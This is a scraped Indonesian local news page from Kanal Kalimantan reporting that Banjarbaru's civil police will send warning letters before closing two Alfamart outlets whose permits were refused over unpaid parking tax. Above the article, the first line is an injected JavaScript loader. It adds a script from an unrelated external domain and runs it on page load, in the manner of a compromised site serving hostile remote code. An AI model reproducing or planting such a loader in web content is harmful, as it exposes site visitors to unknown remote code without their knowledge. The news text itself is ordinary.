(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Satpol PP Banjarbaru Akan Kirim Surat Sebelum Eksekusi Tutup 2 Gerai Alfamart


KANALKALIMANTAN.COM, BANJARBARU – Proses menutup operasional 2 gerai Alfamart yang berada di Banjarbaru, kembali berlanjut. Pada Rabu (6/5/2020) siang, Dinas Penanaman Modal Terpadu Satu Pintu (PMTSP) melayangkan surat tembusan ihwal pelaksanaan penutupan kepada pihak Satpol PP Kota Banjarbaru.

“Benar, suratnya kita sudah terima siang ini. Akan langsung kita proses,” kata Kepala Satpol PP Banjarbaru, Marhain Rahman.

Adapun dalam pelaksanaan penutupan 2 gerai Alfamart, kata Marhain, pihaknya akan mengedepan tindakan yang bersifat persuasif. Dalam hal ini pihaknya akan mengirimkan surat terlebih dahulu kepada pihak Alfamart.

“Untuk langkah awal, kita akan mengirim surat kepada pihak Alfamart. Surat ini meminta pihak Alfamart secara inisiatif sendiri untuk menutup dua gerai mereka. Berlaku sampai 15 hari sejak dikirimnya surat ini,” katanya.

Jika surat permintaan tersebut diacuhkan, maka pihak Satpol PP Kota Banjarbaru akan mengirimkan surat peringatan sebanyak 3 kali. Untuk surat peringatan pertama akan berlaku sampai 7 hari. Sedangkan untuk suratan kedua akan berlaku selama 3 hari dan surat ketiga akan berlaku hanya 1 hari.

Pun nantinya hingga ke tiga surat peringatan ini telah dilayangkan dan pihak Alfamart masih berkukuh, maka pihak petugas Satpol PP akam secara langsung melakukan eksekusi di lapangan. Ditegaskan Marhai mengatakan eksekusi yang dimaksud bukanlah menghancur bangunan ke 2 gerai Alfamart.

“Eksekusi yang kita lakukan hanya menutup gerai Alfamart saja, tidak menghancurkan bangunan. Nanti ke dua gerai tersebut akan digempok, dipasang tali, dan kita tempel stiker. Hanya seperti itu,” pungkas Marhain.

Baca Juga : Menunggak Pajak Parkir Ratusan Juta, 2 Gerai Ritel Modern di Banjarbaru akan Ditutup

Seperti yang diberitakan sebelumnya, ke 2 gerai Alfamart yang ditutup ini berlokasi di Jalan Trikora dan Jalan Mistar Cokrokusumo, Kelurahan Sungai Besar, Kecamatan Banjarbaru Selatan.

Penutupan dilakukan karena perpajangan izin usaha kedua gerai ini ditolak oleh Dinas PMPTSP Banjarbaru.
Bukan tanpa sebab Pemko Banjarbaru menolak perpanjangan izin usaha ke dua gerai tersebut. Alasannya, pihak Alfamart telah mengunggak pajak parkir hingga ratusan juta. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Ada Pungli di Kawasan Candi Agung Amuntai, Polisi Turun ke Lokasi

KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More

4 menit ago

Empat Nama Masuk Penjaringan Partai Nasdem Kalsel, Melirik Pilkada Banjarmasin, Tabalong, dan HSS

KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More

43 menit ago

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

13 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

13 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

14 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

15 jam ago

This website uses cookies.